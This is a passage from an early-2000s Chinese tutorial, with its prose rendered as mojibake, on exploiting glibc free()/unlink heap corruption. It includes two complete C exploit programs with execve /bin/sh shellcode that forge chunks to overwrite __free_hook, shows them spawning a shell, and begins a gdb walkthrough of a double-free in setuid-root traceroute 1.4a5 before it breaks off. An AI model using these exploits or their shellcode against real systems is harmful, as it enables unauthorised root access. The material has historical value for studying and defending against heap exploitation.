ÎÒÃÇ¿´µ½ÕâÀïÃæÓÐ3¸öµØ·½µ÷ÓÃÁËunlink.Èç¹ûÏëÒªÖ´ÐÐËüÃÇ£¬ÐèÒªÂú×ãÏÂÁÐÌõ¼þ£º 1. (a) µ±Ç°¿éµÄIS_MMAPPEDλ±ØÐë±»ÇåÁ㣬·ñÔò²»»áÖ´ÐÐchunk_free() 2. (b) ÉÏÒ»¸ö¿éÊǸö¿ÕÏпé (µ±Ç°¿ésizeµÄPREV_INUSEλÇåÁã) »òÕß (c) ÏÂÒ»¸ö¿éÊǸö¿ÕÏпé(ÏÂÏÂÒ»¸ö¿é£¨p->next->next£©sizeµÄPREV_INUSEλÇåÁã) ÎÒÃǵÄÈõµã³ÌÐò·¢ÉúÒç³öʱ£¬¿ÉÒÔ¸²¸ÇÏÂÒ»¸ö¿éµÄÄÚ²¿½á¹¹£¬µ«ÊDz¢²»ÄÜÐ޸ĵ±Ç° ¿éµÄÄÚ²¿½á¹¹£¬Òò´ËÌõ¼þ(b)ÊÇÂú×ã²»Á˵ġ£ÎÒÃÇÖ»ÄܼÄÏ£ÍûÓÚÌõ¼þ(c). ËùνÏÂÏÂÒ»¸ö¿éµÄµØÖ·ÆäʵÊÇÓÉÏÂÒ»¸ö¿éµÄÊý¾ÝÀ´ÍÆËã³öÀ´µÄ£¬Òò´Ë£¬¼ÈÈ»ÎÒÃÇ ¿ÉÒÔÍêÈ«¿ØÖÆÏÂÒ»¸ö¿éµÄÊý¾Ý£¬¾Í¿ÉÒÔÈÃÏÂÏÂÒ»¸ö¿éµÄsizeµÄPREV_INUSEλΪÁã¡£ ÕâÑù³ÌÐò¾Í»áÈÏΪÏÂÒ»¸ö¿éÊǸö¿ÕÏпéÁË¡£¼ÙÉ赱ǰ¿éΪ¿é1,ÏÂÒ»¸ö¿éΪ¿é2£¬Ï ÏÂÒ»¸ö¿éΪ¿é3£¬ÈçÏÂͼËùʾ£º ¿é1 ¿é2 αÔìµÄ¿é3 +----------------------+------------------------+..+-------------------------+ |prev_size|size|16bytes|prev_size2|size2|fd2|bk2| |prev_size3|size3|ÈÎÒâÊý¾Ý| +----------------------+------------------------+..+-------------------------+ | | | |--> p |-->next |-->next2next next = p + (size & ~PREV_INUSE) next2next = next + (size2 & ~(PREV_INUSE|IS_MMAPPED)) Òò´Ë£¬Ö»ÒªÎÒÃÇÄܹ»Í¨¹ýÐÞ¸Äsize2£¬Ê¹µÃnext2nextÖ¸ÏòÒ»¸öÎÒÃÇ¿ØÖƵĵØÖ·¡£ ÎÒÃÇÔÚÕâ¸öµØÖ·Î±ÔìÒ»¸ö¿é3£¬Ê¹µÃ´Ë¿éµÄsize3µÄPREV_INUSEλÖÃÁã¼´¿É£¡ È»ºó£¬ÔÚfd2´¦ÌîÈëÒª¸²¸ÇµÄµØÖ·£¬ÀýÈ纯Êý·µ»ØµØÖ·µÈµÈ¡£Solar Designer½¨Òé ¿ÉÒÔʹÓÃ__free_hook()µÄµØÖ·£¬ÕâÑùÔÙÏÂÒ»´Îµ÷ÓÃfree()ʱ¾Í»áÖ´ÐÐÎÒÃǵĴúÂë¡£ ÔÚbk2´¦¿ÉÒÔÌîÈëshellcodeµÄµØÖ·¡£ ʵ¼Ê¹¹ÔìµÄʱºò¿é2µÄ½á¹¹ÈçÏ£º prev_size2 = 0x11223344 /* ¿ÉÒÔʹÓÃÈÎÒâÖµ */ size2 = (next2next - next) /* Õâ¸öÊýÖµ±ØÐëÊÇ4µÄ±¶Êý */ fd2 = __free_hook - 12 /* ½«shellcodeµØÖ·¸ÕºÃ¸²¸Çµ½__free_hookµØÖ·´¦ */ bk2 = shellcode /* Õ⽫µ¼ÖÂfd2±»Ð´µ½shellcode + 8Õâ¸öµØÖ·£¬ËùÒÔÐèÒª ÔÚshellcodeÇ°Ãæ·ÅÒ»¶ÎÌø×ªÓï¾äÒÔÌø¹ýfd2 */ αÔìµÄ¿é3ÔòÒªÇóºÜµÍ£¬Ö»ÐèÒªÈÃsize3µÄ×îºóһλΪ0¼´¿É: prev_size3 = 0x11223344 /* ¿ÉÒÔʹÓÃÈÎÒâÖµ */ size3 = 0xffffffff & ~PREV_INUSE /* ÕâÀïµÄ0xffffffff¿ÉÒÔÓÃÈÎÒâ·ÇÁãÖµÌæ»» */ Õâ¸öαÔìµÄ¿é¿ÉÒÔ·ÅÔÚÈÎÒâ¿ÉÄܵÄλÖã¬ÀýÈç¿é2µÄÇ°Ãæ»òÕߺóÃæ¡£Èç¹ûÒª·ÅÔÚ ¿é2µÄºóÃæ£¬ÓÉÓÚsize2ÊÇ4¸ö×Ö½Ú£¬Òò´ËÈç¹û¾àÀë±È½ÏСµÄ»°£¬ÄÇôsize2Êǿ϶¨ Òª°üº¬Áã×ֽڵģ¬Õâ»áÖжÏÊý¾Ý¿½±´£¬Òò´Ë¾àÀë±ØÐë×ã¹»Ô¶£¬ÒÔÖÁÓÚËĸö×Ö½Ú¾ù ²»ÎªÁ㣬¶ÑÕ»¶ÎÊÇÒ»¸ö²»´íµÄÑ¡Ôñ£¬Í¨¹ýÉèÖû·¾³±äÁ¿µÈ·½·¨ÎÒÃÇÒ²¿ÉÒÔ׼ȷµÄ µÃµ½¿é3µÄµØÖ·¡£ Èç¹ûÎÒÃÇÒª½«¿é3·Åµ½¿é2µÄÇ°Ãæ£¬ÄÇôsize2¾ÍÊǸö¸ºÖµ£¬Í¨³£ÊÇ0xffffffxxµÈ µÈ¡£Õâ¿Ï¶¨Âú×ãsize2²»ÎªÁãµÄÒªÇó£¬ÁíÍ⣬Õâ¸ö¾àÀëÎÒÃÇÒ²¿ÉÒԺܾ«È·µÄÖ¸¶¨¡£ Òò´ËÎÒÃǾö¶¨²ÉÓÃÕâÖÖ·½·¨¡£ ¿é1 £¨ ¿é3 £© ¿é2 +---------------------------------------+------------------------+ |prev_size|size|.......|0x11223344|size3|prev_size2|size2|fd2|bk2| +---------------------------------------+------------------------+ | |<---- 8 ×Ö½Ú -->| | | |<----- 16×Ö½Ú -------->| ÔÚÉÏÃæµÄͼÉÏ£¬ÎÒÃǽ«¿é3µÄ8×Ö½ÚµÄÄÚ²¿½á¹¹·ÅÔÚÁË¿é1µÄÓû§Êý¾ÝÇøÖУ¬¶ø ¿é3µÄÓû§Êý¾ÝÇøÊµ¼ÊÉÏÊÇ´Ó¿é2¿ªÊ¼µÄ¡£µ«ÊǼÈÈ»ÎÒÃǸù±¾²»¹ØÐÄ¿é3µÄprev _sizeÒÔ¼°Êý¾Ý¶Î£¬¶ø¿é2µÄprev_sizeÎÒÃÇÒ²²»¹ØÐÄ£¬ÎÒÃÇ»¹¿ÉÒÔÓиü¼ò»¯µÄ °æ±¾£º½«¿é3ÍùÓÒÒÆ¶¯4¸ö×Ö½Ú£¬¼´ÈÃsiez3Óëprev_size2ÖØºÏ£¡ | ¿é1 |.... ¿é3 ..| ¿é2 | +---------------------------------------+------------------------+ |prev_size|size|...........| 0x11223344 |prev_size2|size2|fd2|bk2| +---------------------------------------+------------------------+ | |<-- 4×Ö½Ú-->| (size3) | | |<----- 16×Ö½Ú -------->| ÕâÑùnext2next - next = -4 = 0xfffffffc .Ôò¿é2¾Í¿ÉÒÔÖØÐ¹¹Ôìһϣº prev_size2 = 0x11223344 & ~PREV_INUSE /* ÎÒÃÇÓÃÔ­À´µÄsize3´úÌæ */ size2 = 0xfffffffc /* ³¤¶ÈΪ-4 */ fd2 = __free_hook - 12 /* ½«shellcodeµØÖ·¸ÕºÃ¸²¸Çµ½__free_hookµØÖ·´¦ */ bk2 = shellcode ÖÁÓÚ¿é3µÄprev_size3,ÎÒÃDz¢²»¹ØÐÄ£¬Òò´Ë²¢²»ÐèÒªÔÙÌØ±ð¹¹Ôì¡£ÕâÑùÒ»À´£¬ ÎÒÃǵŤ×÷¾Í´ó´ó¼ò»¯ÁË£¬Ö»ÐèÒª¹¹ÔìÒ»¸ö¿é2¾Í¿ÉÒÔÁË£¡ ÏÖÔÚÎÒÃÇ¿´¿´ÎÒÃÇÒª×öµÄÊÂÇ飺 i. ʹÓÃ32×Ö½ÚÊý¾ÝÄ£°å£¬Ç°16×Ö½ÚÊÇÈÎÒâ·ÇÁãÊýÖµ£¬¶øºó16×Ö½ÚÊÇÎÒÃÇαÔìµÄ ¿é2 ii. ÕÒµ½__free_hookµÄµØÖ·¡£Õâ¸öͨ¹ýgdb¿ÉÒÔ·½±ãµÄ¸ú×Ù³öÀ´ $ [warning3@redhat-6 malloc]$ gdb ./vul -e (gdb) b main Breakpoint 1 at 0x80484a6: file vul.c, line 10. (gdb) r Starting program: /home/warning3/malloc/./vul Breakpoint 1, main (argc=1, argv=0xbffffcf4) at vul.c:10 10 buf = malloc (16); /* ·ÖÅäÁ½¿é16×Ö½ÚÄÚ´æ */ (gdb) p/x &__free_hook $2 = 0x401091b8 iii. È·¶¨shellcodeµÄµØÖ·¡£²¢ÇÒÒªÔÚshellcodeÇ°ÃæÔö¼ÓÒ»¶ÎÌø×ª´úÂ룬ÒÔ±ã Ìø¹ýÒ»¸ömalloc_chunk½á¹¹£¬ÒòΪ(__free_hook-12)Õâ¸öÖµ»á±»Ð´µ½ shellcode+8´¦. +--------+---------------------+---------------+ |jmp 0x0a|nopnop...nopnopnopnop|Õý³£µÄshellcode| +--------+---------------------+---------------+ |<---- 10×Ö½Ú ---->| 5. Ò»¸öÑÝʾ³ÌÐò ÏÂÃæÎÒÃǾͿÉÒÔÀ´Ð´Òç³ö³ÌÐòÁË£¬ÆäʵÊÇÏ൱¼òµ¥µÄ£º /* Exploit for free() with unlinking next chunk - ex.c * by warning3@nsfocus.com (http://www.nsfocus.com) * 2001/03/06 */ #include #include #define __FREE_HOOK 0x401091b8 /* __free_hook()µØÖ· */ #define VULPROG "./vul" #define PREV_INUSE 0x1 #define IS_MMAPPED 0x2 char shellcode[] = "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*ÕâÒ»¶ÎÊÇΪÁËÌø¹ýÀ¬»øÊý¾Ý*/ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; main (int argc, char **argv) { unsigned int codeaddr = 0; char buf[128], fake_chunk[16]; char *env[2]; unsigned int *ptr; /* ¼ÆËãshellcodeÔÚ¶ÑÕ»ÖеĵØÖ· */ codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1); env[0] = shellcode; env[1] = NULL; /* αÔìÒ»¸ö¿é½á¹¹ */ ptr = (unsigned int *) fake_chunk; *ptr++ = 0x11223344 & ~PREV_INUSE; /* ½«PREV_INUSEλÇåÁã */ /* ÉèÖó¤¶ÈΪ-4,Õâ¸öÖµÓ¦µ±ÊÇ4µÄ±¶Êý */ *ptr++ = 0xfffffffc; *ptr++ = __FREE_HOOK - 12 ; *ptr++ = codeaddr; bzero(buf, 128); memset (buf, 'A', 16); /* Ìî³äÎÞÓÃÊý¾Ý */ memcpy (buf + 16, fake_chunk, sizeof (fake_chunk)); execle (VULPROG, VULPROG, buf, NULL, env); } /* End of main */ ÔËÐÐһϿ´¿´£º [warning3@redhat-6 malloc]$ gcc -o ex ex.c [warning3@redhat-6 malloc]$ ./ex 0x8049768 [ buf ] (32) : AAAAAAAAAAAAAAAA?ÿÿÿÿÿÿ¬‘@?ÿ? 0x8049780 [ buf1 ] (08) : ¬‘@?ÿ? From buf to buf1 : 24 Before free buf Before free buf1 bash$ <--- ³É¹¦ÁË!! ÊDz»ÊǺܼòµ¥£¿:-) С½Ú£º ÏÖÔÚÎÒÃÇ×ܽáÒ»ÏÂÀûÓÃfree(mem)À´½øÐй¥»÷µÄ»ù±¾²½Öè¡£¼ÙÉèchunkÊǸÿéÄÚ²¿ ½á¹¹µÄÖ¸Õë(chunk = mem - 8)¡£ ÎÒÃÇÓÐÁ½ÖÖ·½·¨£º 1. Èç¹ûÎÒÃÇÏëÀûÓÃÉÏÒ»¿éµÄunlink½øÐй¥»÷£¬ÐèÒª±£Ö¤: I. chunk->sizeµÄIS_MMAPPEDλΪÁã II. chunk->sizeµÄPREV_INUSEλΪÁã III. chunk + chunk->prev_sizeÖ¸ÏòÒ»¸öÎÒÃÇ¿ØÖƵÄαÔì¿é½á¹¹£» IV. ÔÚÒ»¸öÈ·¶¨µÄλÖù¹ÔìÒ»¸öα¿é 2. Èç¹ûÏëÀûÓÃÏÂÒ»¸ö¿éµÄunlink½øÐй¥»÷£¬ÐèÒª±£Ö¤: I. chunk->sizeµÄIS_MMAPPEDλΪÁã II. chunk->sizeµÄPREV_INUSEλΪһ III. chunk + nextsz Ö¸ÏòÒ»¸öÎÒÃÇ¿ØÖƵÄαÔì¿é½á¹¹¡£ (nextsz = chunk->size & ~(PREV_INUSE|IS_MMAPPED)) IV. ÔÚÒ»¸öÈ·¶¨µÄλÖù¹ÔìÒ»¸öα¿é ÆäÖÐα¿é(fake_chunk)µÄ½á¹¹ÈçÏ£º fake_chunk[0] = 0x11223344 & ~PREV_INUSE £¨Ö»ÔÚµÚ2ÖÖÇé¿öÏÂÓÐÒâÒ壩 fake_chunk[4] = 0xfffffffc | (PREV_INUSE|IS_MMAPPED); £¨Ö»ÔÚµÚ2ÖÖÇé¿öÏÂÓÐÒâÒ壩 fake_chunk[8] = objaddr - 12 ; (objaddrÊÇÒª¸²¸ÇµÄÄ¿±êµØÖ·) fake_chunk[12] = shellcodeaddr ; (shellcodeaddrÊÇshellcodeµÄµØÖ·) ÖÁÓÚ¾ßÌåʹÓÃÉÏÃæÄÄÖÖ·½·¨£¬ÐèÒª¸ù¾Ýʵ¼ÊÇé¿öÈ·¶¨¡£ÀýÈ磬Èç¹ûÄã²»ÄÜ¿ØÖÆ chunk->prev_sizeʹÆäÖ¸ÏòÎÒÃǵÄα¿é£¬ÄǾͲ»ÄÜÓõÚÒ»ÖÖ·½·¨ÁË¡£ ÎÒÃÇÔÙ¿´Ò»¸öÀûÓÃÉÏÒ»¿éµÄunlink½øÐй¥»÷µÄÀý×Ó£¬Ö»Òª½«Èõµã³ÌÐòµÄfree(buf1)·Åµ½ free(buf)Ç°Ãæ¼´¿É£¬ÕâÑùÎÒÃÇËùfreeµÄbuf1¾ÍÊÇÒ»¸öÎÒÃÇ¿ÉÒÔ¿ØÖƵÄÄÚ´æ¿éÁË¡£ ¸Ä¶¯ºóµÄvul.cÈçÏ£º ... printf ("Before free buf1\n"); free (buf1); /* ÊÍ·Åbuf1 */ printf ("Before free buf\n"); free (buf); /* ÊÍ·Åbuf */ ... ¿´¿´ÎÒÃǵÄÐÂÑÝʾ³ÌÐò°É£º /* Exploit for free() with unlinking previous chunk - ex1.c * by warning3@nsfocus.com (http://www.nsfocus.com) * 2001/03/06 */ #include #include #define __FREE_HOOK 0x401091b8 /* __free_hook()µØÖ· */ #define VULPROG "./vul" #define PREV_INUSE 0x1 #define IS_MMAPPED 0x2 char shellcode[] = "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /*ÕâÒ»¶ÎÊÇΪÁËÌø¹ýÀ¬»øÊý¾Ý */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; main (int argc, char **argv) { unsigned int codeaddr = 0; char buf[128], fake_chunk[16]; char *env[2]; unsigned int *ptr; /* ¼ÆËãshellcodeÔÚ¶ÑÕ»ÖеĵØÖ· */ codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1); env[0] = shellcode; env[1] = NULL; /* αÔìÒ»¸ö¿é½á¹¹¡£ */ ptr = (unsigned int *) fake_chunk; *ptr++ = 0x11223344 & ~PREV_INUSE; *ptr++ = 0xfffffffc; *ptr++ = __FREE_HOOK - 12; *ptr++ = codeaddr; bzero (buf, 128); memset (buf, 'A', 16); ptr = (unsigned int *) (buf + 16); /* ÈÃprev_sizeµÈÓÚ-8 ,ʹÆäÖ¸ÏòÎÒÃÇαÔìµÄ¿é. Âú×ãIIIÌõ */ *ptr++ = 0xfffffff8; /* Ö»Òª±£Ö¤nextÒÔ¼°next->size¿ÉÒÔ·ÃÎʼ´¿É¡£ËùÒÔÈÃsize³¤¶ÈµÈÓÚ-4 , * Èç¹ûҪΪÕýÖµ£¬±ØÐëÕÒµ½¶ÑÕ»ÀïµÄÒ»¸öÓÐЧֵ£¬»¹Òª¼ÆËãÆ«ÒÆ,Ì«Âé·³¡£ * ͬʱҪÇåÁ½¸ö±ê¼Ç¡£Âú×ãI.,II.Ìõ */ *ptr++ = 0xfffffffc & ~(PREV_INUSE | IS_MMAPPED); /* ½«Î±ÔìµÄ¿é·Åµ½È·¶¨Î»Öá£Âú×ãµÚIVÌõ */ memcpy (buf + 16 + 8, fake_chunk, sizeof (fake_chunk)); execle (VULPROG, VULPROG, buf, NULL, env); }/* End of main */ ÈÃÎÒÃÇÔÙÀ´²âÊÔһϣº [warning3@redhat-6 malloc]$ gcc -o ex1 ex1.c [warning3@redhat-6 malloc]$ ./ex1 0x8049768 [ buf ] (40) : AAAAAAAAAAAAAAAA?ÿÿ?ÿÿD3"ÿÿÿÿ¬‘@?ÿ? 0x8049780 [ buf1 ] (16) : D3"ÿÿÿÿ¬‘@?ÿ? From buf to buf1 : 24 Before free buf1 <-- ÏÈÊÍ·Åbuf1 Before free buf bash$ exit 6. ʵÀý: Traceroute "-g"ÎÊÌâ ÓÐÁËÉÏÃæµÄÑÝʾ³ÌÐò¡£ÎÒÃÇÔÙÀ´¿´Ò»¸öÕæÊµÊÀ½çµÄÀý×Ó¡£ TracerouteÊÇÓÃÀ´¼ì²éͨÍùÄ¿±êÍøÂçµÄ·ÓÉÇé¿öµÄÒ»¸ö¹¤¾ß£¬ºÜ¶àUnixϵͳ¶¼°² ×°ÁËÕâ¸öÈí¼þ¡£ÓÉÓÚtracerouteÐèÒª²Ù×ÝԭʼÌ×½Ó×Ö£¬Òò´Ëͨ³£±»ÉèÖÃÁËsetuid rootÊôÐÔ¡£LBNL 1.4a5°æµÄTraceroute(LBNL = Lawrence Berkeley National Laboratory)´æÔÚÒ»¸ö°²È«Â©¶´£¬¿ÉÒÔ±»¹¥»÷ÕßÓÃÀ´·Ç·¨»ñÈ¡rootȨÏÞ¡£ Õâ¸ö©¶´Ö÷ÒªÊÇÓÉÓÚfree()º¯Êý´íÎóµÃÈ¥ÊÍ·ÅÒ»¿éÒѾ­ÊͷŵÄÄÚ´æËùÒýÆðµÄ¡£ Ê×ÏÈÎÒÃÇ¿´Ò»ÏÂtracerouteµÄ©¶´³öÔÚÄÇÀï¡£tracerouteʹÓÃÁËÒ»¸ösavestr()º¯Êý£¬Ëü ÔÚsavestr.cÖÐ,ËüµÄ×÷ÓÃÀàËÆstrdup(),ÓÃÀ´¸´ÖÆÒ»¸ö×Ö·û´®¡£Ëü»á×Ô¶¯µ÷ÓÃmalloc()·Ö ÅäÒ»¿é½Ï´óµÄÄÚ´æ¿Õ¼ä, ²¢¼Ç¼Ïµ÷ÓÃÍê±ÏºóÊ£Óà¿Õ¼äµÄ´óС¡£Èç¹ûÓû§Ï´ε÷Óà savestr()ʱ£¬ËùÐèÄÚ´æ±ÈÊ£Óà¿Õ¼ä»¹Ð¡£¬¾Í²»ÔÙµ÷ÓÃmalloc()£¬¶øÊÇÖ±½Ó´ÓÒÑ·ÖÅäµÄ¿Õ ¼äÖзµ»ØÒ»¸öµØÖ·£¬ÕâÑù¿ÉÒÔ¼õÉÙµ÷ÓÃmalloc()µÄ´ÎÊý¡£È»¶ø£¬Õâ¸øÓû§È·¶¨ºÎʱÐèÒªÊÍ ·ÅÄÇ¿é·ÖÅäµÄÄÚ´æ´øÀ´ÁËÂé·³£¬tracerouteÖÐûÓÐ×Ðϸ¿¼ÂÇÕâÒ»µã£¬¶øÊǽ«savestr()µÈ ͬÓëstrdup()À´Ê¹Óã¬Ã¿´Îµ÷ÓÃsavestr()Íê±Ïºó×Ü»áµ÷ÓÃfree()º¯ÊýÊÍ·ÅÄÚ´æ¡£Òò´Ë£¬ µ±µÚ¶þ´Îµ÷ÓÃsavestr()ºó£¬free()ËùÊͷŵÄÄڴ棬ʵ¼ÊÉÏÊÇÒ»¿éδ±»·ÖÅäµÄÄڴ棨ÒòΪ Õâ¿éÄÚ´æÒѾ­±»µÚÒ»´Îfree()ËùÊÍ·ÅÁË£©£¡ ÏÂÃæâ¶Î¾ÍÊÇsavestr()µÄ´úÂ룺 <...> /* A replacement for strdup() that cuts down on malloc() overhead */ char * savestr(register const char *str) { register u_int size; register char *p; static char *strptr = NULL; static u_int strsize = 0; size = strlen(str) + 1; if (size > strsize) { strsize = 1024; if (strsize < size) strsize = size; /* Ö»ÓÐsize>strsizeµÄÇé¿öϲŵ÷ÓÃmalloc*/ strptr = (char *)malloc(strsize); if (strptr == NULL) { fprintf(stderr, "savestr: malloc\n"); exit(1); } } (void)strcpy(strptr, str); p = strptr; strptr += size; strsize -= size; return (p); } <...> ÎÒÃÇ¿´Ò»ÏÂÁ½´Îµ÷ÓÃsavestr()ʱµÄÇéÐΣº <1>. p = savestr(S) ¼ÙÉè×Ö·û´®S³¤¶ÈΪl(l<1024),ÔòµÚÒ»´Îµ÷ÓÃsavestr()£¬Ëü»á·ÖÅä1024 ×Ö½Ú³¤µÄ»º³åÇøÀ´´¢´æS: |<----------------------- 1024 bytes -------------------->| +----------------------------+----------------------------+ | S[0] S[1] ... S[l-1] \0 | junk | +----------------------------+----------------------------+ ^ ^ |__ p |___ strptr ÕâʱºòÊ£Óà¿Õ¼ästrsizeΪ: (1024 - l - 1) strptrÖ¸Ïò junkµÄÆðʼ <2>. free(p) µÚÒ»´Îfree()»áÊÍ·ÅpÖ¸ÏòµÄÕâ¿é»º³åÇø(1024×Ö½Ú),Ëü»á·ÅһЩÊý¾ÝÔÚ»º ³åÇøµÄ¿ªÍ· |<----------------------- 1024 bytes -------------------->| +-------+--------------------+----------------------------+ | junk1 | S[k] ... S[l-1] \0 | junk | +-------+--------------------+----------------------------+ ^ |___ strptr ÕâʱºòpËùÖ¸ÏòµÄ1024×Ö½Ú´óСµÄ»º³åÇøÒѾ­±»ÊÍ·ÅÁË¡£ <3>. p = savestr(T) µÚ¶þ´Îµ÷ÓÃsavestr()ʱ£¬Èç¹û×Ö·û´®TµÄ³¤¶ÈСÓÚstrsize(1024 -l -1), ÄÇôsavestr()¾Í²»»áÔٴε÷ÓÃmalloc()·ÖÅäÐÂÄڴ棬¶øÊÇÖ±½Óµ÷ÓÃÁË£º .... (void)strcpy(strptr, str); p = strptr; strptr += size; strsize -= size; return (p); .... ½«×Ö·û´®T¿½±´µ½junkµÄÆðʼ´¦£¬¶øÊµ¼ÊÉÏ£¬Õâ¿éÄÚ´æÒѾ­±»ÊÍ·ÅÁË£¡ ¿½±´µÄ½á¹ûÈçÏ£º |<----------------------- 1024 bytes -------------------->| +-------+--------------------+--------------------+-------+ | junk1 | S[k] ... S[l-1] \0 | T[0] ... T[n-1] \0 | junk2| +-------+--------------------+--------------------+-------+ ^ ^ |__ p |___ strptr Õâʱ£¬strptrÖ¸ÏòÁËjunk2´¦£¬strsize = 1024 -l -1 -n -1 pÖ¸ÏòÔ­À´µÄchunkÆðʼ´¦¡£ <4>. free(p) µÚ¶þ´Îµ÷ÓÃfree()ʱ£¬ËùÖ¸ÏòµÄʵ¼ÊÉÏÊÇÒ»¸öδ·ÖÅäµÄ»º³åÇø£¬Õâ¾Íµ¼Ö һ¸öÑÏÖØ´íÎó¡£ÎÒÃÇ¿´µ½¼ÈÈ»SºÍT¶¼ÊÇÎÒÃÇ¿ÉÒÔ¿ØÖƵģ¬ÄÇôÎÒÃǾͿÉÒÔ ÀûÓÃÇ°ÃæËù˵µÄÁ½ÖÖ·½·¨ÖеÄÈÎÒâÒ»ÖÖÀ´½øÐй¥»÷£¡ ÏÂÃæ¾ÍÊǵ÷ÓÃ'-g'²ÎÊýʱº¯ÊýÖ´ÐеÄÒ»¸ö¼òµ¥Á÷³Ì¡£ main() .... case 'g': ... getaddr(gwlist + lsrr, optarg); getaddr(register u_int32_t *ap, register char *hostname) { register struct hostinfo *hi; (1) hi = gethostinfo(hostname); *ap = hi->addrs[0]; (2) freehostinfo(hi); } struct hostinfo * gethostinfo(register char *hostname) { ... (3) hi = calloc(1, sizeof(*hi)); ... addr = inet_addr(hostname); if ((int32_t)addr != -1) { (4) hi->name = savestr(hostname); hi->n = 1; (5) hi->addrs = calloc(1, sizeof(hi->addrs[0])); ... (6) hi->addrs[0] = addr; return (hi); } ÎÒÃÇ¿´µ½£¬Ã¿´ÎgetaddrÖж¼»áÊÍ·Åhostinfo½á¹¹ÖеÄÿ¸ö³ÉÔ±£¬°üÀ¨hi->name.£¨1£© ¶øÔÙµÚ¶þ´Îµ÷ÓÃgethostinfo()ʱ£¬ÓֻᾭÀúÁ½´Îcalloc²Ù×÷(3,5),ÒÔ¼°Ò»´Î¸³Öµ ²Ù×÷(6)¡£Òò´Ë¿´ÆðÀ´²¢²»ÏóÎÒÃÇÔ­À´ÏëÏóµÄÄÇô¼òµ¥£¬¹Ø¼üÔÚÓÚÎÒÃÇÄÜ·ñ¿ØÖÆµÚ ¶þ´ÎfreeµÄÄÇ¿éÄÚ´æµÄÄÚ²¿½á¹¹³ÉÔ±:chunk->size»òÕßÊÇchunk->prev_size. ÈÃÎÒÃÇÀ´¸ú×Ùһϣº [root@redhat-6 traceroute-1.4a5]# gdb ./traceroute -q (gdb) b gethostinfo Breakpoint 1 at 0x804aae8: file ./traceroute.c, line 1220. (gdb) r -g 111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1 Starting program: /usr/src/redhat/BUILD/traceroute-1.4a5/./traceroute -g 111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1 Breakpoint 1, gethostinfo (hostname=0xbffffdf3 "111.111.111.111") at ./traceroute.c:1220 1220 hi = calloc(1, sizeof(*hi)); (gdb) n 1221 if (hi == NULL) { (gdb) n 1225 addr = inet_addr(hostname); (gdb) n 1226 if ((int32_t)addr != -1) { (gdb) p/x addr <-- ÕâÊÇhostnameת»»ºóµÄµØÖ·(111.111.111.111) $2 = 0x6f6f6f6f (gdb) n <-- ÏÂÒ»²½ÒªÎªhostname·ÖÅä1024×Ö½ÚÄÚ´æ 1227 hi->name = savestr(hostname); (gdb) n 1228 hi->n = 1; (gdb) p/x hi->name <-- ÕâÊǵÚÒ»´Î·ÖÅä·µ»ØµÄµØÖ· $3 = 0x804d518 (gdb) x/8x hi->name -8 [prev_size] [size] [data...] 0x804d510: 0x00000000 0x00000409 0x2e313131 0x2e313131 0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000 (gdb) n <-- ÓÖ¶¯Ì¬·ÖÅäÁËÒ»¿éÄÚ´æ 1229 hi->addrs = calloc(1, sizeof(hi->addrs[0])); (gdb) 1230 if (hi->addrs == NULL) { (gdb) p/x hi->addrs <-- Õâ¿éÄÚ´æÊÇ·ÖÅäÔÚhi->name + 0x400£«8Õâ¸öµØÖ· $4 = 0x804d920 (gdb) n 1235 hi->addrs[0] = addr; (gdb) n 1236 return (hi); (gdb) x/x hi->addrs 0x804d920: 0x6f6f6f6f <-- ×¢Ò⣬½«addr´æÔÚÕâ¸öµØÖ·ÁË¡£ (gdb) c Continuing. Breakpoint 1, gethostinfo (hostname=0xbffffe06 "0x66.0x77.0x88.0x99") at ./traceroute.c:1220 1220 hi = calloc(1, sizeof(*hi)); [ Õâʱ£¬Ç°Ãæ·ÖÅäµÄÄÚ´æÒѾ­È«±»ÊÍ·ÅÁË ] (gdb) p/x 0x804d510 <-- ÎÒÃÇ¿´¿´Ô­À´µÄhi->nameÄÚ´æµÄÇé¿ö $5 = 0x804d510 (gdb) x/10x 0x804d510 [prev_size] [size] [data...] 0x804d510: 0x0804d920 0x00000af1 0x40108f80 0x40108f80 0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000 0x804d530: 0x00000000 0x00000000 [ ÎÒÃÇ¿´µ½ÎÒÃÇÔ­À´µÄÊý¾Ý(16¸ö×Ö½Ú)ÒѾ­¸Ä±äÁË ] (gdb) n 1221 if (hi == NULL) { (gdb) x/10x 0x804d510 <--- Ö´ÐÐÍêµÚÒ»¸öcalloc(),ºó£¬prev_size±»ÇåÁãÁË¡£ [prev_size] [size] [data...] 0x804d510: 0x00000000 0x00000af1 0x40108f80 0x40108f80 0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000 0x804d530: 0x00000000 0x00000000 (gdb) n 1225 addr = inet_addr(hostname); (gdb) n 1226 if ((int32_t)addr != -1) { (gdb) p/x addr <-- ÕâÀïÒâζ×ÅÎÒÃÇ¿ÉÒÔ¹¹ÔìÒ»¸öÈÎÒâµÄÖµ£¬²¢¸³¸øaddr $6 = 0x99887766 (gdb) n 1227 hi->name = savestr(hostname); <--Ôٴε÷ÓÃsavestr() (gdb) n 1228 hi->n = 1; (gdb) p/x hi->name $7 = 0x804d528 <-- ×¢Ò⣡hi->nameµÄÆðʼλÖà = 0x804d518 + µÚÒ»¸ö-g²ÎÊýµÄ³¤¶È(16) (gdb) x/12x 0x804d510 0x804d510: 0x00000000 0x00000af1 0x40108f80 0x40108f80 0x804d520: 0x2e313131 0x00313131 * 0x36367830 0x3778302e 0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000 [ 